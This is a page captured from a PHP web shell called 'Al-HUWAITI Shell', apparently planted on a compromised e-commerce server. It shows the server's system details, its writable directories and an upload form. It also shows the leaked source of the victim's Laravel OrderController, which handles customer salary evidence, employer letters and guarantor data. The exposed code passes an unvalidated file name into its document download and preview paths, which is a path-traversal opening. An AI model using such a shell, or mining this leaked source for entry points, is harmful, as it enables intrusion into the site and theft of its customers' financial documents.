Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/app/Http/Controllers/Shop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/app/Http/Controllers/Shop/OrderController.php
<?php

namespace App\Http\Controllers\Shop;

use App\Models\Cart;
use App\Models\Order;
use App\Models\Shipping;
use App\Models\User;
use App\Notifications\OrderAcceptedNotification;
use App\Notifications\StatusNotification;
use Helper;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Str;
use Notification;
use PDF;
use Spatie\Browsershot\Browsershot;
use App\Notifications\OrderReceivedNotification;
use App\Notifications\PaymentReceivedNotification;
use App\Notifications\OrderConfirmedNotification;
use App\Notifications\OrderFulfilledNotification;
use App\Notifications\OrderCancelledNotification;
use App\UseCases\CheckProductMinStock;

class OrderController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $orders = Order::query()
            ->with(['cart.product', 'shipping'])
            ->latest()->paginate(10);

        return view('backend.order.index')->with('orders', $orders);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
    }

    /**
     * Store a newly created resource in storage.
     *
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $this->validate($request, [
            'first_name' => 'string|required',
            'last_name' => 'string|sometimes',
            'address1' => 'nullable|sometimes',
            'phone' => 'nullable|sometimes',
            'email' => 'string|sometimes',
            'guarantor_name' => 'sometimes|string',
            'guarantor_email' => 'sometimes|email',
            'guarantor_phone' => 'sometimes|string',
            'guarantor_relationship' => 'sometimes|string',
            'salary_evidence' => 'sometimes|mimes:jpeg,png,gif,pdf',
            'employer_letter' => 'sometimes|mimes:jpeg,png,gif,pdf',
            'employer_letter_two' => 'sometimes|mimes:jpeg,png,gif,pdf',
            'salary_evidence_two' => 'sometimes|jpeg,png,gif,pdf',
            'payment_method_id' => 'required',
        ]);

        if (empty(Cart::where('user_id', auth()->id())->where('order_id', null)->first())) {
            request()->session()->flash('error', 'Cart is Empty !');

            return back();
        }

        $order = new Order();
        $order_data = $request->all();
        $order_data['address1']??='';
        $order_data['phone']??='';
        $order_data['country'] = '';
        $order_data['order_number'] = 'ORD-' . strtoupper(Str::random(10));
        $order_data['user_id'] = $request->user()->id;

        $order_data['sub_total'] = Helper::totalCartPrice();
        $order_data['quantity'] = Helper::cartCount();

        if (session('coupon')) {
            $order_data['coupon'] = session('coupon')['value'];
        }

        if ($request->input('courier')) {
            $order_data['shipping_id'] = $request->input('courier');
            $shipping = Shipping::find($order_data['shipping_id']);
            $shippingPrice = $shipping->price ?? 0;
        } else {
            $shippingPrice = 0;
        }

        if (false/*session('coupon')*/) {
            $order_data['total_amount'] = Helper::totalCartPrice() + $shippingPrice - session('coupon')['value'];
        } else {
            $order_data['total_amount'] = Helper::totalCartPrice() + $shippingPrice;
        }

        $order_data['status'] = 'new';
        $order_data['payment_status'] = 'Unpaid';

        if ($order->fill($order_data)->save()) {
            $userId = auth()->id();
            $orderId = $order->id;
            $path = "documents/{$userId}/{$orderId}/";
            $disk = Storage::disk('local');

            $documents = [];

            if (isset($shipping)) {
                $documents['shipping'] = [
                    'address' => $request->input('address1'),
                    'courier' => $shipping->type,
                    'price' => $shipping->price,
                ];
            }

            // if BNPL
            if ($request->input('payment_method_id') == 1) {
                $documents['payment_breakdown'] = [
                    'topup_amount' => $request->input('topup_amount'),
                    'start_date' => null,//$request->input('payment_start_date'),
                    'end_date' => null,//$request->input('payment_end_date'),
                    'frequency' => $request->input('payment_frequency'),
                ];
            }

            if ($request->file('salary_evidence')) {
                $saveAs = md5(uniqid(true));
                $file = $request->file('salary_evidence');

                $documents['salary_evidence'] = [
                    'saveAs' => "{$saveAs}." . $file->getClientOriginalExtension(),
                    'originalFile' => $file->getClientOriginalName(),
                ];

                $disk->putFileAs(
                    $path,
                    $file,
                    $documents['salary_evidence']['saveAs']
                );
            }

            if ($request->file('salary_evidence_two')) {
                $saveAs = md5(uniqid(true));
                $file = $request->file('salary_evidence_two');

                $documents['salary_evidence'] = [
                    'saveAs' => "{$saveAs}." . $file->getClientOriginalExtension(),
                    'originalFile' => $file->getClientOriginalName(),
                ];

                $disk->putFileAs(
                    $path,
                    $file,
                    $documents['salary_evidence']['saveAs']
                );
            }

            if ($request->file('employer_letter')) {
                $saveAs = md5(uniqid(true));
                $file = $request->file('employer_letter');

                $documents['employer_letter'] = [
                    'saveAs' => "{$saveAs}." . $file->getClientOriginalExtension(),
                    'originalFile' => $file->getClientOriginalName(),
                ];

                $disk->putFileAs(
                    $path,
                    $file,
                    $documents['employer_letter']['saveAs']
                );
            }

            if ($request->file('employer_letter_two')) {
                $saveAs = md5(uniqid(true));
                $file = $request->file('employer_letter_two');

                $documents['employer_letter'] = [
                    'saveAs' => "{$saveAs}." . $file->getClientOriginalExtension(),
                    'originalFile' => $file->getClientOriginalName(),
                ];

                $disk->putFileAs(
                    $path,
                    $file,
                    $documents['employer_letter']['saveAs']
                );
            }

            if ($request->input('guarantor_name')) {
                $documents['guarantor'] = [
                    'name' => $request->input('guarantor_name'),
                    'email' => $request->input('guarantor_email'),
                    'phone' => $request->input('guarantor_phone'),
                    'relationship' => $request->input('guarantor_relationship'),
                ];
            }

            $order->update(['documents' => $documents]);

            $users = User::where('role', 'admin')->first();

            $details = [
                'title' => 'New order created',
                'actionURL' => route('order.show', $order->id),
                'fas' => 'fa-file-alt',
            ];

            Notification::send($users, new StatusNotification($details));

            session()->forget('cart');
            session()->forget('coupon');

            Cart::where('user_id', auth()->id())
                ->where('order_id', null)
                ->update(['order_id' => $order->id]);

            $order->user->notify(new OrderReceivedNotification($order));

            request()->session()->flash('success', 'Your product successfully placed in order');
        } else {
            request()->session()->flash('error', 'Placing order failed. Please try again later');
        }

        return redirect()->route('home');
    }

    /**
     * Display the specified resource.
     *
     * @param int $id
     *
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        $order = Order::findOrFail($id);

        return view('backend.order.show')
            ->with('order', $order);
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param int $id
     *
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        $order = Order::findOrFail($id);

        return view('backend.order.edit')->with('order', $order);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param int $id
     *
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        $order = Order::findOrFail($id);
        $this->validate($request, [
            'status' => 'required|in:new,process,delivered,cancel',
        ]);
        $data = $request->all();

        if ($request->status == 'delivered') {
            foreach ($order->cart as $cart) {
                $product = $cart->product;
                $product->stock -= $cart->quantity;
                $product->save();

                app(CheckProductMinStock::class)->handle($product->id);
            }

            $order->user->notify(new OrderFulfilledNotification($order));
        } elseif ($request->status == 'cancel') {
            $order->user->notify(new OrderCancelledNotification($order));
        } elseif ($request->status === 'process') {
            $documents = $order->documents;
            $documents['payment_breakdown']['start_date'] = today()->format('Y/m/d');
            $documents['payment_breakdown']['end_date'] = today()->addMonths((int)($documents['payment_breakdown']['frequency']) - 1)->format('Y/m/d');

            $order->update(['documents' => $documents]);
            $order->user->notify(new OrderAcceptedNotification($order));
        }

        $status = $order->fill($data)->save();
        if ($status) {
            request()->session()->flash('success', 'Successfully updated order');
        } else {
            request()->session()->flash('error', 'Error while updating order');
        }

        return redirect()->route('order.index');
    }

    public function payment(Order $order)
    {
        return view('backend.order.payment')
            ->with('order', $order);
    }

    public function paymentUpdate(Request $request, Order $order)
    {
        $this->validate($request, [
            'amount' => 'required|min:1',
            'date' => 'required',
            'evidence' => 'sometimes|mimes:pdf',
        ]);

        $firstTime = false;
        $documents = $order->documents;
        if (!isset($documents['payments'])) {
            $documents['payments'] = [];
            $firstTime = true;
        }

        $paymentDocument = [
            'amount_paid' => $request->input('amount'),
            'date_of_payment' => $request->input('date'),
        ];

        $path = "documents/{$order->user->id}/{$order->id}/";
        $disk = Storage::disk('local');

        if ($request->file('evidence')) {
            $saveAs = md5(uniqid(true));
            $file = $request->file('evidence');

            $paymentDocument['evidence'] = [
                'saveAs' => "{$saveAs}." . $file->getClientOriginalExtension(),
                'originalFile' => $file->getClientOriginalName(),
            ];

            $disk->putFileAs(
                $path,
                $file,
                $paymentDocument['evidence']['saveAs']
            );
        }

        $documents['payments'][] = $paymentDocument;

        if ($order->updateQuietly(['documents' => $documents])) {
            if ($firstTime) {
                $order->user->notify(new OrderConfirmedNotification($order, $request->input('amount'), $request->input('date')));
            } else {
                $order->user->notify(new PaymentReceivedNotification($order, $request->input('amount'), $request->input('date')));
            }
        }

        return redirect()->route('order.index');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param int $id
     *
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        $order = Order::findOrFail($id);
        if ($order) {
            Storage::disk('local')->deleteDirectory("documents/{$order->user_id}/{$order->id}/");
            $status = $order->delete();

            if ($status) {
                request()->session()->flash('success', 'Order Successfully deleted');
            } else {
                request()->session()->flash('error', 'Order can not deleted');
            }

            return redirect()->route('order.index');
        } else {
            request()->session()->flash('error', 'Order can not found');

            return redirect()->back();
        }
    }

    public function orderTrack()
    {
        return view('frontend.pages.order-track');
    }

    public function productTrackOrder(Request $request)
    {
        // return $request->all();
        $order = Order::where('user_id', auth()->id())->where('order_number', $request->order_number)->first();
        if ($order) {
            if ($order->status == 'new') {
                request()->session()->flash('success', 'Your order has been placed. please wait.');

                return redirect()->route('home');
            } elseif ($order->status == 'process') {
                request()->session()->flash('success', 'Your order is under processing please wait.');

                return redirect()->route('home');
            } elseif ($order->status == 'delivered') {
                request()->session()->flash('success', 'Your order is successfully delivered.');

                return redirect()->route('home');
            } else {
                request()->session()->flash('error', 'Your order canceled. please try again');

                return redirect()->route('home');
            }
        } else {
            request()->session()->flash('error', 'Invalid order numer please try again');

            return back();
        }
    }

    // PDF generate
    public function pdf(Request $request)
    {
        $order = Order::getOrder($request->id);

        $file_name = $order->order_number . '-' . $order->first_name . '.pdf';

        $view = view('backend.order.pdf', [
            'order' => $order,
        ]);

        $rendered = mb_convert_encoding($view->render(), 'HTML-ENTITIES', 'UTF-8');

        $rawContent = Browsershot::html($rendered)
            ->setNodeBinary(env('NODE_PATH'))
            ->format('A4')
            ->margins(5, 0, 5, 0)
            ->showBackground()
            ->noSandbox()
            ->waitUntilNetworkIdle()
            ->pdf();

        return response($rawContent, 200)->withHeaders([
            'Content-Type' => 'application/pdf',
            'Content-Disposition' => "inline; filename='invoice-{$order->order_number}.pdf'",
        ]);
    }

    public function csv(Request $request)
    {
        $orders = Order::getAllOrders();

        $headers = [
            'Content-Encoding' => 'UTF-8',
            'Content-type' => 'text/csv; charset=UTF-8',
            'Content-Disposition' => "attachment; filename=etiqa-orders.csv",
            'Pragma' => 'no-cache',
            'Cache-Control' => 'must-revalidate, post-check=0, pre-check=0',
            'Expires' => '0',
        ];

        return response()->stream(function () use ($orders) {
            $file = fopen('php://output', 'w');
            fprintf($file, chr(0xEF) . chr(0xBB) . chr(0xBF));
            fputcsv($file, array_keys($orders->first()->toCsv()));

            foreach ($orders as $order) {
                fputcsv($file, $order->toCsv());
            }

            fclose($file);
        }, 200, $headers);
    }

    public function downloadDocument(Request $request)
    {
        $order = Order::findOrFail($request->input('order_id'));
        $doc = $request->input('name');
        $fullPath = "documents/{$order->user_id}/{$order->id}/{$doc}";
        $content = Storage::disk('local')->get($fullPath);

        return response()
            ->stream(
                function () use ($content) {
                    echo $content;
                },
                200,
                ['Content-Type' => 'application/pdf']
            );
    }

    public function previewDocument(Request $request)
    {
        $order = Order::findOrFail($request->input('order_id'));
        $doc = $request->input('name');
        $fullPath = "documents/{$order->user_id}/{$order->id}/{$doc}";
        $content = Storage::disk('local')->get($fullPath);

        return response()
            ->stream(
                function () use ($content) {
                    echo $content;
                },
                200,
                ['Content-Type' => 'application/pdf'],
                'inline'
            );
    }

    // Income chart
    public function incomeChart(Request $request)
    {
        $year = \Carbon\Carbon::now()->year;
        // dd($year);
        $items = Order::with(['cart_info'])->whereYear('created_at', $year)->where('status', 'delivered')->get()
            ->groupBy(function ($d) {
                return \Carbon\Carbon::parse($d->created_at)->format('m');
            });
        // dd($items);
        $result = [];
        foreach ($items as $month => $item_collections) {
            foreach ($item_collections as $item) {
                $amount = $item->cart_info->sum('amount');
                // dd($amount);
                $m = (int) $month;
                // return $m;
                isset($result[$m]) ? $result[$m] += $amount : $result[$m] = $amount;
            }
        }
        $data = [];
        for ($i = 1; $i <= 12; ++$i) {
            $monthName = date('F', mktime(0, 0, 0, $i, 1));
            $data[$monthName] = (!empty($result[$i])) ? number_format((float) ($result[$i]), 2, '.', '') : 0.0;
        }

        return $data;
    }
}

Al-HUWAITI Shell